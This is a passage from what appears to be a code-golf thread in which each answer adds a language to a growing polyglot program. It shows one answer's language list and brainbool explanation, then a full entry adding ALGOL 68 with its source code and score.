in Retina, \n**9** in Perl 5, \n**10** in Befunge-93, \n**11** in Befunge-98, \n**12** in Fission,\n**13** in Ruby, \n**14** in Turtlèd, \n**15** in Haystack,\n**16** in Pyth,\n**17** in Julia,\n**18** in Cardinal, \n**19** in Reng, \n**20** in Prelude,\n**21** in Nim,\n**22** in Underload,\n**23** in Hexagony,\n**24** in Thutu,\n**25** in Pip,\n**26** in 05AB1E,\n**27** in Perl 6,\n**28** in Brain-Flak,\n**29** in Trigger,\n**30** in Whitespace,\n**31** in Modular SNUSP,\n**32** in Whirl,\n**33** in Incident,\n**34** in Rail,\n**35** in INTERCAL,\n**36** in Labyrinth,\n**37** in C++03,\n**38** in C99,\n**39** in CoffeeScript,\n**40** in Minimal-2D,\n**41** in brainfuck,\n**42** in evil,\n**43** in reticular,\n**44** in alphuck,\n**45** in PicoLisp,\n**46** in Cubix,\n**47** in Lily,\n**48** in Deadfish~,\n**49** in Octave, \n**50** in Bash,\n**51** in Assembly,\n**52** in COW,\n**53** in Shove,\n**54** in Zsh,\n**55** in Brain-Flak Classic,\n**56** in dc,\n**57** in Wise,\n**58** in Ksh,\n**59** in Tcl,\n**60** in Moorhens,\n**61** in S.I.L.O.S,\n**62** in Grass,\n**63** in Brian & Chuck,\n**64** in Agony,\n**65** in ALGOL 68,\n**66** in Surface, \n**67** in C11,\n**68** in Python 1,\n**69** in rk-lang,\n**70** in Commercial,\n**71** in what,\n**72** in Fortran,\n**73** in Morse,\n**74** in Archway,\n**75** in C++11,\n**76** in Trefunge-98,\n**77** in C++14,\n**78** in dash,\n**79** in C++17,\n**80** in Klein 201,\n**81** in Klein 100,\n**82** in Brain-Flueue,\n**83** in Objeck,\n**84** in Klein 001,\n**85** in zkl,\n**86** in Miniflak,\n**87** in Alice,\n**88** in PingPong,\n**89** in gnuplot,\n**90** in RunR,\n**91** in Cood,\n**92** in C89,\n**93** in Set,\n**94** in Emotinomicon,\n**95** in Emoji,\n**96** in EmojiCoder,\n**97** in Cubically,\n**98** in Archway2,\n**99** in *99*.\n**100** in brainbool\n## Verification\n[Try it online!](https://tio.run/##zVvbcttIer42Km@wNy2QYwAkARCUKPEsaWx549nxSrHsccokbUMgSMICAQ4AipRlunKVqhwuklQuUkklm6QqVXuRt8htnmKfYN9g8v3d4EESJXlyqApkAg30393/uf@/u31mx8OffsrQxU5C/3LghwlL3Dhhvci7cCODfXvJDmwvLpe2JYlDRWFv4njBgCVDl3nBeJKwvue7seTYCWuxcdqLQQWWYZFr9wSY1A8jRk3Y6NxnHnPGY3bm20PDYb4H2GfFCnNH4UcPreJwRJCJG40jF/eYBa7bY/HYdby@5/ARmTtL3CD2wiA2mOecs6nn@6zn@miwQsMpoDM2idc@iUENqRdKDJczvoH08i3rAiZwF4S7YzvihIdszLmwoH8a2eMxkJQy7BSIJ97IjZmXKDFz7dgjbqJJ7AY9zrPxks8hs4N1KtmFZzMb@E4i3nfsRgnIM3i/bOhGLrq0afBBZI@YOo28BCwglh6yE9eO2KvIdTWMAlG4sWOPgce1ITFYSCMkRIjBRdZoKEfHzxSITrQw7HEiZaLtV3/0nWQzo8my7@v4NWW5Lh39@im7ynaoDCzQGcQ7jlRbY80vLDY7HRe/mXVmDqK5hF4lcMVnZjhOTFsfA0E9AYKmTUUq6RclY@yvDcwaN2SxplACqgdpsOcB@6HAKXMmUeQCjxVT7XMQ7YfBAPwEsdEkIH4EbLcIEThh0IsLzL0A18JAyCiccg6/GnoQWkwisc/AINsh3gtj4AyFOUD3Uo4uxo1Df8Lh0DJOSAHBFTSlHp/32Q@sb3s@NUE9dSWwjtx44ifUZhL0SPIjL3B7Blug4YQ9AhqFFxjORqf8A@xntGZ1HCkAQxAhJ5WqfvdX/9AbDNDPoeOEUS9V1x9YL3QmIyBsc2RtqCIpbBjYPkcLcAUaXTTHABe27/XshIYPLtMhOBJ81Gk48XssxIDR1INpDe0LmGO/7zqJK5Q8nCTAscBG9rnwFZ7QXBA@ss8gWD4AH5uTrbODJ5CS4wqV0UeTpF9h@viIKbH5Tt2vqftbHRe4aYaWy5rmoA59M3L8E96U@xTnh8OVPEl7Xnkh2ZE/Hk7gNVATxGP4k4iY6dggJya3ksD/FdgZZzT3RVB1bqRTV4lcdgbLXhDGdUToALXXyXLTHlYyXcBdVzG3t6Zh0E4oWRLfchN@OMXAHDdyotDpgAa3BzaGSlKCDgVBYkT@5Tpp5wE0nXo7c1lFP/MgHdIDOJtUGGs0Any7JGDQm5DemlGM7Ev04ggnvZIk8/oQ8gh6G10yxyVjgFW4wtPRIBOuGLEHPQr7rKiXyuUHhJ9E5qH@Ft7jk3mvjIn4G2I@ZH13ynw7GEzsARQ5DNDEdhx3nKQWBEriBDZy0xHyj3rq1Y14KGUPbo7NvVvq79fGIO8jpJf6aJvUHowagdW6DytndjTglsh6XgR78S9vjg6AixuDyx8I5BoCH@Q7UFhMTVAyd@Y6kwTmBkWeDj1nCN0l7AJhsMI73hwen9ZHh8vR@8uhCRmr9bgkGebyE6FxZxc6SfR2P/D61FXr2gcu/PUP9/dsx6MNHYdLFOGh1r4apm1A91KmYT4/pVgC7m8xeXPLWgYYS36Cwd/RxBS5P04gMOizNwgIxA6WE/@aZ/TiQMFU4cUeuE5TOOn6q@fHNB@8cUUUA76LuWzdmYeIadA8naKpYiEEyXWGIdMDpqQ4qDKfUT8CLTOOHF7Q18IIWTPAJ5X4xasWHX0UMdrNCZW1bsPxIZUCa8tyt4A5zI@hQsHE9/EyCbiJqa52BV1z3Dg2YDDgrUHxCLCT8642vw6YDKNwyty5Vlc2DfczBfJkcubN/h9KxCG8xB1UrYmBf/oaOdwCXAhCllPW3YLgvHsSjsjPszecYsL32whzQx/zgTS@TIbwdLrDZLsZjl2gdM2TKMATQbqq1XlIpyjGx9AL1Ctla2tLqSktpYDSPkoNKu1TKY/SPi/pvERwBpV4iwIvUW2bt6BvXWXeXvQ807ok2hnFrZ@8sWq3a7XtbsFuW@mzRE8NkwnmDkDr9EA/itZsUlHT5NYUhBpnfUmQ/wrC@R4hH/veo5m4jwBxlTpIy8E6kiyYsX3dl8qrmpKIVi/MEdhnjC83RxHyele8AQK485B0dFV6XzSs8rUukPfcbtn34iG/XQO9hdbtGt46Hp31@W0DQC0NAxBTUJZEfOGujCKRMITmTznYKAxCgQr45QW2@ZI/DMwem/C57qSvIXPmwuYHrnnmBVR@AEyvVjhk/@zMuwsUfCHUF88NYNHkbBPbEJ4Nb83j7Brjk0mU@G4vff7nn/QggNviGdqXMQL682XhPfhGotL7d0orbUov/LZZsh8nPtK9B/pwbAribX9Z2NxXjb10of6QbMCzPGDqgzaKcODqbus3TMOf9NzFc3OnnIfXwwHROvBGXHJ4UmzDPc8dzW8EM6I9JT2RH9o9UySinrsSpWC6O7MHYXBprs1qRnT2FTgu4g22yjyT4SSZiDslmw8JzRvT7z5jTCGLZfvMcs0wts@8OzhISOzepbTCFshN633fPhfF91TcTKogJvIGyGwXz7vAEO0hIB/bjmtO@eNO/xFM4jEXJi/d01/ki/tdIF7gYGYNVoW7AEGmz28/R@W4IjiwA0KVFnv0NRZ5N5jq22eXNJUNf77@0ICDfJ7p8B1NJ58vbjM9XOViq2Wl8fju9o6Ttq9WN7cWK1C8AydE2uw@NB9hUvFGtq@XemvFO/3rYupflTa5H/vCRlDg2zEUJEnZ7F5ALPx2n9LSPOFMfDtale5R2RU6i5T7rqxt1WbsOaHvpZq5eNkwQEBh3s2QaNUNrSvy26opvaUu8ymiHpp4v9zrN0MnoWTpDtX5Co8k8hTKBNd0wQjvYpcTTul3p8EOwwtX3DdPQZ82YvUVHkf3uTIg1r7dvOc8pKG0DsRvmz3h@UasEsff@L3GXoRhhEQ1ZiWjeK94Nqpx7PlhzE75/T5eIEWPY3HfrMDrbPPsQHeGwqyW5c3NNiLFZzR2yO93CNf2B6G/WxmYNm53asAk6pNjT59f69SWTsmyHnRKy/AlDKz0eac3P8e/h5SDFkDgvj2KY5bFzYpypwdLI/67CUSYTwtem4l7VqwsNSuK3XtVqsYOI2c4tS/vhXpo5riLzYuZo0aL9TwQ/p8Ns3P/ML2v81K3ut27v9tr4j33Xbhpfr8lVFYqWj@zhVUsfr3P6vsTd@Ju9CHHZx9dKM5XB8X3IlVMyaixT@f@vX1@Fdo0i9PbvT7H9j3Y@YMxTI2dIIg@CR9IAAbBZHxNluvZwyR4@YBNPAnD3s/X1KXXqTwcCtXYqZs8gMXRKERyGo4QEgRfIdk0VOfbiuJ@TbL8y6rnj94TxBPRvf0uF3oQjCK4gLC881hH9LKRr6kjKd2P6jJVqVaRUwVuckn3u6x2k4c8C8MNIRtfG3nJN8CWK9JxId25wzcvSvdp4uVmaOZ54EQuX59erLixDK2aT0YI85IwMhiHU1U7n9c0STSisGEQAGwBxbejaEdA7HTFDPFbwmG9Pmu3WfZqVivWrDlrMrkms25X9MrXpo9mY76P9FI0bWftbjOr6LqSVTpBjRUVDur68OIbQe1rcH2PPwSeK9JZYI/4JgSVF5TWxU4Hgiva3hraQQ@J7evA44uJThiJ9XqxKfSKVg3@47e9dNdv4ILIkRfDZAcB7VSHI3cYTvfFuOnoh@OxTbuG1AdyKV8sN@pPDlk89RJnKDb7EPu9fvaqku7UpPvneDkhNVnDQggVVX3gYCdCaAKbXugKfUsHXrZaEIWAejIK2NTrJcPYQKQUOC7fCVrsTgCTiMCCJApJXwvsOeu5lNjx1dKPE8jWD8NzvkhLmPzHb8X@FCo9UiEqL4bnG6ZrIzI4OItvCjlOOAHWi04@uVGYgqjEZKQFEzIzWIsrvmvMGdp84wyaqC@2jWgYsXX05PCU6UdMoQ1/2kWqe301e/jylz@0i93mFzYy3f/8E5MWrjnf5G/0PSuWC2wBUp@TXq1XF1G9qlWYnJ3JKVm0tcx3UpdKJayJqVTm4lpsA434rjTXO3fKt4H4Xl9AWQ9t9wYx7AOvGu9aGE0zq058b@QlTD9NWJlORcA92iiJfWxG5wxoS4OaZGfsMxuSrugOs8pFvAmG@LSLNmp@u1hz215fGzWfumcTvo5wUTJK201OTvZ9s9HipcjthbTP2n7XmXbNeMGVTmf2TbE0A9vCCOCPTbKco18/vcoareLnzzECJ1meK3W@dk3mnb06eX5ydPrq8NXrU7BxLqjMPAujkb1yEaQEYx8R7TD0@cY1@BF5bvyw23jE/Yb0KAVUVZa1WQNxBIOHerR0LClbZV3OiqKo455kWXejMnUffY@lro6dcGmnglXidTdXWCgAMQ82OYFfXSAPxbna4K44OTJrgiAdBHHwJcLLt02EXa/l8ILh@/QOpqdkrENxUldQm4GIVgGc4i1gBJIbiZj/L2E@xjzyMOYE9RDmAJYeGn1t4GeHz79//fLo9thrw6Ywt0CWGrJ2VuhohkwEfrDPNZz2oxd6E6bnCRaOAX5/KDa5bH/l2uLlfhVpUp8csw/bJqPgq3kxGTcjP2KwQz@GI@314BnOLhNyLPCoYotquU8lZ8AAYznPFZgsEWzcvL2vDMcxRczmfBCNsxyO9xxvOprRcc3f/dU/iOMYnQTlP0vLfZT/UpTfmcSg2/v3Ascla4gtPzw/YTFmK0H4yJ6t0UQTBk1IXoB43xuBgxecIQQukF3Ru@pHbf8AfkIIYCZ5PnJ2fDw36qrDJBnXTJPmdyTefYMv8LszyAG@0kCqav44odMx8M/mbnl3xzKBpH6x6JBvug5o0Vl0qGk1qJB04Y2bH84c1mg0mBwjTnSbu3XBSDNrv9uWPywRzQJWEqFAm6ENmqxaoK6VNlOzdt7SqClZoWIprFvHLC/kgolC5QWAaPQ5SPkhYyYKU1bR/q07S7hTvVyEOIgvgpCNiE/8jNSiIx0dib41Wbqlu6vFZdpUW9NmY10M8hsCOyWwmrxJdRg05J83aE6A8p@LcrtT1L90N53vWerO4e1jPOrNQzhECzs4DULabHgGXJlaMkvbprWrrdmJnHYFbMkqPqNL2AHsynG9j@E4Pnxy9Py745PTW8dQOKRyE0xhSquR7@hGod1dFpQbOr9g6bfPzNMX3z5bMHIdq1WkTxCrcP8mmptGu4npHaO/Eev6t8fmFbcGsopf2zHfhNaf8Tz3du@rWnMN8IlYhLw1qqpdzdvdRqsTZG4N/3nTobGMkaNzYih1Yn5kTGEbPM7zxW7Fq/Ac@nLPaRg9IQjv0/q5mMVeBx06KbXMnnth0ikJyVjtgshZtXENW02c3BE8WAwPx5F@yVoyxl2N5Ui3VpTXEREpdrjE5FrLJbOJ5mOR6vGDb3aAKD/yHAEdc28rEkJ@SgspwfNklUUgM6F1FJ4sXfLEAHa/XKHteXzx3o4uUwqWNafuyNNfLfAhL7A6igCvFEYJ8pF46HtndbvZnrHlRv19pxSMeOx7iUrHA2YGJVygRtWIAKvhu3S6oFHtpkcZ2OLEQZ4fWjiZgF8n4Zitktyn7qL0EnkOezpB59AAl303GQGuzx8vXXL5Lvt1qKMx@KgskGhjFDWlwRj1yhjdGLqznjfAtKFqBXiYbyxrddzB1vJIThU4VcGqX9LS8zpjftYRjTWO2W3b8IKeO1OVqaLVusQdfFemby4UTb6lA/ycSHpopHfzwMjC9u0kNcLlYYub9l2tLu36utlUq8YwlugMBUJ1jHiaRN@jiAlR7Y/sMVMnAUUvMTMYf1U7alCIk0hjeosmpykLWD7Pg3w8eIXBeMs@L3k@nVJU6WyqajYhZ/oaBz16fPLGrG0ZRhdlPojGspSfP0HsQJmtJiEiRJMa7xazKf5qhNEU6QxhJJ5ZPqxEyXUEqI3V3JAHQ26A4AWnmrUes5UjWFmg4Gq1Wkulcd27VRnU4vbEYpjodoPXWoSP4G@6Vw6u0RlqOh2FtM2DQzn4lRsEsFcVOjOCdTJ7AiWLtMLiQH9heexyDcE/TLfeb87ZR8qVHyIyyZp1niDW55ieP3RYJ@n0OwHN0fVL8xemYdav1KzfvDQRVmktNTtsWvntXD6fDXJqNqDA4vFjyivnWcQt7w3ZkGcA0rO@VocyI85pZoN61m6o2V6zlOMt8JrPa1do8CU2jausPTezjxEmFPAlEqapZmONbKFoGNYc@JF5ZM0CFOZKlZk8o9OrNHzWy@cJByP7nhD4YnZO83yO6JyaPJOtp@GqORgtfMg1mfz0U8baRea0v7uthvul7a1chmUOZDPXefr27ZOLutK2@yXjx@7J@cnJH2sdVck8OZatHbnOcqaUMXPFz3um@eHDBwRyrN0yWkZXa@tKt6229vZy9cJuJVc4KFhKoZ5hvlW0LE0tlbTTzk5Q9zxvHPd6@IVDOt6GUKZGonmES7VOFKW8rZy@o2NZ@1v44/9wLV/pvsW/pJ85yO1rS2PqjzMp03oEXdre3Tp4BFTdPL9qtQMmZb5ImUsp86HxQcogXs20Wt35PK@3jTxsLq/nG@1Gw2i1Zi2922pLmSspM5tLmZJMTMpJmeas8ZJ31n7aEr3mfwTDv8ezoXfb45Pvjw5Pjwqlhp4pPTt8Uiidvv42Y@GtvHqlym16fXl0@PT49atCSbT65fMfjl6f4HvcbR0c5A1d1w@MVhdYzL7Jt/LNJEnY2/c5WMnT1uy1qTcw6PdS5iWH1DtAo6MBfud49/jgs5RpZ9rqfmm/VPSLF0Xr3Dp/ER4v/7EXx8eo8GbFj2FUHBaHVs@yrFnRfV28LF7OiqPw2Oqh6OKvOELRK/ZnxUExKAaWtd7RPf9Gx@GL4xBdhWiWzIoJ9Vrs4zk4Pn6BzvoY@CP@vGKREJwVL/Cv6Fv8evce@W6x05HaUNhueXdc2v2xzd1/udptuzMv6cqsoHTa1WpV6dYzZtzpmELr5RJUliDm8/fvnx6@Onz/3qTMdtbI5g/y@gGuZivfSB/7mV6LWGg0tjqSok7fvHlDvzfTi6ko8cKbKXuTXngz5b2KHIYHKeib1fPNFNfFHZ1cL7Brl6q2y92ruaZpjzpKXRGUqKqLkEaVrc6s1GclmUcKVbgKa5tmo92y1mrtlvG@W9F0tUi1O9o7q9FIq0paGMnKTA4jhV3NxZ96NW@o/NLoT9PoY3pvaSqqtTLeZlfqrKE2VPqGT9Tqat6iIoe7Qqmtal1tPhffcFe1huizpYFASs7@j/6FMYvHTMnMMzQ9BGynrCH1c7WdXbWSr6Z/zS0Qo8rbyjZolBVbabcPctu5vZ32fjfXzamNnJHrtLqz9UtTMgwqt9CappUh7kkZo/5StkqyQlpUpwXP0HcNH6nYdrWuqDlxsdzyqljVfC5/0M5Vq2K0XO7zlobm6FzGlYGmMZU1Wo2l@FeaoLXwu2Ipg1GeX0EjRB0mGDVdyex0ZsUih6@fNbNXGXte592zubyAThWLd68qdb7ELV/JWTtqW115LmevzuY0C@csjc@f5Z16PbcjynuVOty@lUtriqhJi6hwY9vhFgZPT5qkgMUaiGqeuQMvkDLja6qdL5fLZgn32Te7R6WZVKelYLHuLOuy0HRWqfIOM3HMqhICvTMIesr2igjkfd@OWNjvb4nviFiR@7sIGlzfp0UUCugQ1/i9KZKILSkDj4BwBtW4Rie2O3Hd6WQydZfXEy@u2R8/Ih/h1@9/83d/it9v8fsb8fybf6@W6f773/z1v/3un/5FwvMvfv@bv/3X3//mL/8ev39Mf39/8ydJRNoWK@8tCpb0ghYoqpbYrvHoM0qRW5X@EPSNJs6Qtte8hGZYxL1FySBulErVSrlS3S5VCpVqZads7ZbLBatUsPYqe9ViAZNrxdqtlKtWobJT3d7Z2akWmFUqV/ekjBv0vL5pYrKyZJnxAtIrOijZoCOloTFsYRrsuX1El4/YTO1pjzK9xQc2qTB5u9IpIqPjAbDKNHZFbldlMfIgoK4WCxN4m/L@pCLv7sm1HJ7yvryNIpf2TGVFBYopKx1Z1trV7r68V5ZrmNt15bG1z@S9KiLjvT1Zq8vuoCzLu6y0J8suAtm3JE0m1@fAesGOJT0MLtowGH66LlH9uCkwUuWqyrjIqx1ZGITQLkVVlL2SomhKHZ1syes6qdWJPFCXEofgFu61HrnJJArUqg4PwvSqVp8LNP5gDY/oHMG3HVEAzIdB9rtblekzQBpqlbpvlc9ytYKlFw4kod67lpSZSz06CLZTZfVqnWILuNxGS8oqhIqyLWX07XAnzGSzWcQmr1rytnxsNMw0zGiZPMboUNhBE76xiF9azJQilzYcevRfG8W8USkTLQMWZ/L/zcvACE30KdXJX8mZ1ENe0szXEQg1vmT4KSF2crVcxE7/20TtBXHXrp3yI7LtLtO@/NrzryrbeovnAUgG5wy8nY9Pq@/23lXevXh9/Pr42UGtUqvAiWXiz1pYtr4E39UztbGyvaNsI7ppZgRx1p6WaZX2jNi@zHTTbVF1Z09jeOMuqmRl@jQPL6fh29P0WmnD@/RixMM7IFL5RW8w8Eq/ePHhc9Y0FYUxK7v7RW@Ifw3cnhwLEavyblnWaDs5fvf@3fsMHBGTS2WoXd5EAG2af1yCWVeru5XdjPSTad63joPaZSbUd5EkTEabUqHDyHthU5oYLNMhFF5MPrnR0uoZmT1l@MPW9W/cFVz7xP9fLb5JhBe3DyrY0cAp8OV9lqMT0e0uXMJia0ilWtqd0JabGcKGWLEuNp2oC6@@LGIUMlskpUXxkTIf1WtadeY1qDM8kTClI9C1aJFvUpFWSTgWXlerS@u7NByTFlqv4bLWPp8X4HOBlqDHGfUE2aJu@Qr0RrSb7ahpa@0GQLvYpey7U1RSMr@GDGTN6rKHAvvZZNxoj9xQW9DEUVhVpt9XophLuaQwqktEdm5cl36lOtoV5az1L6PHj5134/aoW9dGzYSe@fwIju9c9QRILmmOmrpVHwPZetLO571uc6T9Sh1z5EfNIoAxNvUca1dLSQfNVFyxVvjUDvQvQbfwrB3krW5hUsi9bX4q2M1iYYYf2FbwCz@CeQtWqknzUz6o2w38KH2@xgk4/rxdv755hibnqt/81La7zaJW99Ewn38GYoBn3Pbz@a6GwX1U3m5Y9x8/tvN@a1b3dV0jqHfb@8/aCQrdfJPea6rdmO1/ak/Qvqbi2cQwvgbk0e66DNAf8KuDx0J8K9QFjjNCbwb0Rs1m7u1@7m2uubX1qT3TR92CYH@tuBI8IT8j5Nd1RM29XVcszhIeE6ryN17tGyMXM7kA7QOTC@O1lgLD3FvUjFfWMP8v \"Bash – Try It Online\") Languages not available on TIO:\n* Japt, 7 [online](http://ethproductions.github.io/japt/?v=1.3.0&code=&input=).\n* Reng, 19 [online](http://jsfiddle.net/Conor_OBrien/avnLdwtq).\n* Deadfish~, 48 [local](http://github.com/craigmbooth/deadfish).\n* Moorhens, 60 [local](http://raw.githubusercontent.com/Wheatwizard/Moorhen/ac540e857ec546442a21e0a242c5b184b8504c24/moorhens.py). use moorhens.py from the v2.0-dev branch\n* Morse, 73 [local](https://github.com/aaronryank/c-prohackr112/blob/master/morse.c)\n* Archway, 74 [local](https://github.com/graue/esofiles/blob/master/archway/impl/archway.c)\n* Trefunge-98, 76 [local](https://pypi.python.org/pypi/PyFunge). Use `-d 3 -v 98` for Trefunge-98.\n* Objeck, 83 [local](http://www.objeck.org/downloads/)\n* zkl, 85 [local](http://www.zenkinetic.com/zklDownloads.html)\n* PingPong, 88 [local](https://github.com/graue/esofiles/blob/master/pingpong/www/pingpong.zip)\n* RunR, 90 [local](http://www.mediafire.com/?ukd008kyd945fy0)\n* Cood, 91 [online](https://jesobreira.github.io/cood/)\n* Set, 93 [online](https://avellar.ml/set-lang)\n* Emotinomicon, 94 [online](http://conorobrien-foxx.github.io/Emotinomicon/int.html)\n* EmojiCoder, 96 [online](http://sarahnathanson.github.io/EmojiCoder/)\n* Archway2, 98 [local](https://github.com/graue/esofiles/blob/master/archway/impl/archway2.c) *I can not test Archway2 because I don't have the proper C compiler, however stasoid has confirmed it works in archway2*\n## Explanation\nI can't believe we've made it to 100 languages. I would just like to take the time to thank everyone thats been involved in this process. Its been a fun ride and I hope to add a 100 more with you guys.\nBrainbool has been in my eye for a while. However since brainbool can only output two numbers, `1` and `0` I have not been able to add it until now (I wasn't around for 10 and 11).\nBrainbool is just like brainfuck, except instead of wrapping at 256 it wraps at 2. Brainbool also does not have a `-` because it is redundant with the `+`. Our brainbool code to output 100 is fairly simple:\n```\n+.+..\n```\nIn order to mask the outputs for brainfuck we add a loop and a minus:\n```\n+-[.+..]\n```\nNow all thats needed is to find a place for the code to go. My place of choice was the first `+` at the top level of the brainfuck code on line 8. To substitute in the plus we added our code and a `+-+` which acts as a `+` in brainfuck and a noop in brainbool.\n```\n+-[.+..]+-+\n```\n### Cubix\nI put my code before the Cubix capsule causing a mirror to move into the path of the pointer. In order to fix this I moved the capsule a couple of steps forward in front of the offending mirror and all was well.\nSurprisingly nothing else broke not even the notoious incident.\n[Answer]\n# 65. [ALGOL 68 (Genie)](https://jmvdveer.home.xs4all.nl/algol.html), 1634 bytes\n```\n#16 \"(}+?23!@)-(\"//*\\Dv;'[af2.q]PkPPX'#CO)\"14\";n4\n#/*0|7//```\"` [-'][!(>77*,;68*,@;'1,@10␉␉11)(22)S␉␉(1 P''53'S^'q\n#>␉\n# 36!@␉`\n#\n#_>++++.>.}+?\n#`<`\n#<]}} +<[<.>>-]>[\n#{\n#z}\n#\n#=x+++++++59L+++<-][pPLEASE,2<-#2DO,2SUB#1<-#52DO,2SUB#2<-#32DOREADOUT,2PLEASEGIVEUPFACiiipsddsd4O6O@oh]>@@+.---@.>][\n#x%+>+=ttt Z_*.\n#D>xU/-<+++L\n#R+.----\\).>]|\n#[#[(?2?20l0v0x1k1kMoOMoOMoOMoOMOO0l0ix0jor0h0h1d111x0eU0yx0y0moO1d0y0e0e00m1d0i0fx0g0n0n11MoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOmOoMOo0moo0n0tx0t0moO0f0t0gOOM0g0f0h0j0j0i0001k1x0vx0v0l111111^_00)\n[ \"]56p26q[puts 59][exit]\" ,'\\[' ];#/s\\\\/;print\"24\";exit}}__DATA__/\n#\n###x<$+@+-@@@@=>+<@@@=>++.--.\n#\n'(((p\\';a=a;case $argv[1]+${a:u} in *1*)echo 50;;*A)echo 54;;*)echo 58;;esac;exit;';print((eval(\"1\\x2f2\")and 9or 13)-(0and 4)^1<<(65)>>62)or\"'x\"or'{}{}{}{}({}<(((((()()())){}{})){}{})>){(<{}(({}){})>)}{}({}())wWWWwWWWWwvwWWwWWWwvwWWWwWWWWWWWWwWWWWwWWWWWWWwWWWWWWWW li ha '#}#(prin 45)(bye)46(8+9+9+9+9+=!)(((\"'3)3)3)\"'\n__DATA__=1#\"'x\"\n#.;R\"12\"'\n###;console.log 39\n\"\"\"\"\n=begin\n<>{nd\n#sseeeemPaeueewuuweeeeeeeeeeCis:ajjap*///;.int 2298589328,898451655,12,178790,1018168591,84934449,12597/*\n#define p sizeof'p'-1?\"38\":\"37\"\n#include\nmain ( ){puts(p);}/*\nprint 61\n#}\ndisp 49;\n#{\n}<>\n$'main'3\n#-3o4o#$$$\n#\"3\"O.s\n=end\n\"\"\"#\"\n#}\n#s|o51~nJ;#:p'34'3\\=#print (17)#>27.say#]#print(47)#]#echo 21# xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi xi ax fwwvwWWWwWWWWwvwWWwWWWwvwWWwWWWwvwWWwWWWwvwWWwwwwwwwwwwwWWWwWWWWWwWWWWWWWwWWWWWWWWWwWWWWWWWWWWWWWWWwWWWWWWWWWWWWwvm \n# sss8␛dggi2␛`|$// ''25 16*///~-<~-<~-<<<~-XCOprint(\"65\")#s^_^_2229996#\n```\nVIP score ([Versatile Integer Printer](http://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer)): .005949 (to improve, next entry should be no more than 1710 bytes)\n[Try it online!](https://tio.run/nexus/bash#zTrLcttIkufGL/SlDLINgCRepChLAkmLtqVZd9strSU/wiQtl8AiCQuvBkCRskzHXndjD3Ofyx7nP@a6XzE/0ptZBb5Eyu6O2I1YSAIKqKzMrHxVZZZ@L@BFTiP/ZuhHGclYmpF@4l2zxCBPbsgh9dJ6tSZJHCqJ@mPXC4ckGzHihfE4IwPPZ6nk0oy0SJxjMbBBCiRhtC/ApEGUEBxCgiufeMSNY3Lp05HhEt/jsGkUYH/GkjhhcE9JyFifpDFzvYHncjqETTMWpl4Upgbx3Csy8Xyf9JkPA5bE3QogI@N05ZMgZUj9SCJwufEdVhdvRQYwIZtPl8U04dONSMznPp/1JKFxDExKBXIGjGdewFLiZUpKGE09lCEMSVnY55KKF9KNCA1XZ0muPUoo8DtOOO6UJRlMz@B4yYglDFBSJD5MaEDUSeJlIAIUZJucMpqQ84QxDaiAAljq0hj4WCMJxCKkkOFEDK6oRkM5OjlWQGFihEHjTCoktfN//VmixGiS4oUDf01ZdqSjX5@R22IX28AFIAOlxolKNdL8SlKz22XwN7UvzWEykwCrBFLxiRnFmQmYaZIBe8uWfl01Yn@FLGnc0cSKEQmoPuiCPA/JmwqflztOEgZcLEVKr2DKfhQOQZow1WQcojRCsmuBAtwo7KcVwq5BZlEoNBRNuHzPRx6oLEWF0EsQD3VR8sIBuDjBBcDycnnO6aaRP@ZwMDLN0PxAJjAUMT4fkDdkQD0fh0A/ohJcJywd@xmOGYd91HvghaxvkDkbbtRHoCC6BnIUkPIP4DPBiqdxpgAY1BDxqWLXP//6t/5wCHjarhsl/dxY35B@5I4DYJhyZikYIpprFFKfswVwFaQuhgOBa@p7fZoh@fAmJ8GZ4FQn0djvkwgIJhMPHGtEr8EZBwPmZkyYeDTOgMcKCeiViA@esFuYeEAvQbGcAKfNp62Tw6egJZcJg9GDcTbYI3p8RJTU/KA@PlAfP@gy4E0ztFLRNIcOWJtR4p/gTfmW4bxpL/WJ1nPuRehFfjwaQ8yAnjCNIZokKEyXwnRSDCoZxLwKueSC5pEIDJ276IQpCSOX4NfziXEbETaA43X02xzDUqdzuHUTY/0VCwPrBCPL0o0g4UcTIMx5w8AJNh0icTqkQCrLJ9QWExIU@Zf1qV2FYOmI7ZKRPf3SA@2gHUCoyZWxMkcAr1UFDGAT2ltxioDeABZXhOilJok3ACUHYLfJDXEZOgN4BRNxDomMuWGkHthRNCCWXq3Xv6P8LDHb@nuT6p/Nb@oYJ39HzW0yYBPi03A4pkMw5CiEIdR1WZzlHgQzSTPwkbthkH/U85hupCOpeHiXNo9tebRfoYHRR2gvj9AUzR4EFYCodR@8nNBkyD2R9L0E/MW/uUsdAK7vEJc/IsgaAx/le1iYL0xgZGzK3HEG7gaGPBl57ghsF7kLhcOK6HiXPHxapQ4hRx8sSCMzduthVTLMxSdk414UOmp0Ew9EfUTVWvvAlb/64duYaRpsQRwtWIQItfLVMKkBtpcLDVbzM9xJQPibL93csxbbi4U8QcA/48KUsN/GoDCwZ28YIggNF8v@SmT00lCBpcJLPZA6LuBo6@fPT3A9eMvEHgbkLtay1WAewY4GhucLNHbMlSAxdxQRPSRKzoMq8/X0E7BlponLG/rKJkLWDJCTivLiXXNEn8S@7O6CSlqbcJykUiEdWe5VYA3zUzChcOz78DIOuYupTLsFW3NZmhrgMCBbA3cjwJ1cZtpsHTAbJdGEsJnmKNvI/UmFPB1fetP/hxpxkS9xh1mtqIF/@iN62ACcK0KWc9FtQAjhnQN7L2DTQ154uBYNYIu03Drz3fYUN4ldSY5vslEU1tajibzsqYrd2hszgMXFiG@2r6PyKio@4KUXXkWoJTOYty4sw66voYDd/ubIgZeO@G0NdIOtzR4@Og0uB/y2BSBEK7hjbLwjiMJIEAcJeSE1X/GHARFzGwfrgWmN/BMGdj5k@n7NvPRC85IN7oM8fvLkOYcZXF569wGBGDCfmT@3gCXjy21Sgv3IaGPhImtyPh8nma/3zQyf7L//rQ/y3tTGiN6ksIO9WjQuQjZBzeiDe5WTD8UXftuuyE9jH7Kb7@BwKe5aqb9obMd1QF4xsHbYX4Q8qQFOfR98CEQGvr1pzuAJ/rjP5s/tSLkM19c/MTr0Ah1sedewuALhFdd03Fndh@XOIi7Q4GY/8SPaN0X65bGlRoXs2ZQOo/DGXInmRnL5B1idr7NkmW9lo3E2FndMsr6nOy/Gv2@5YA5p1dtP7KP8cQ88MLF7n@0Kt0kguujHPr0yL7F5MYDm9qmKySTeEDK6@fM@sLdnMXWZOUnxsdVsXsLuyIc8@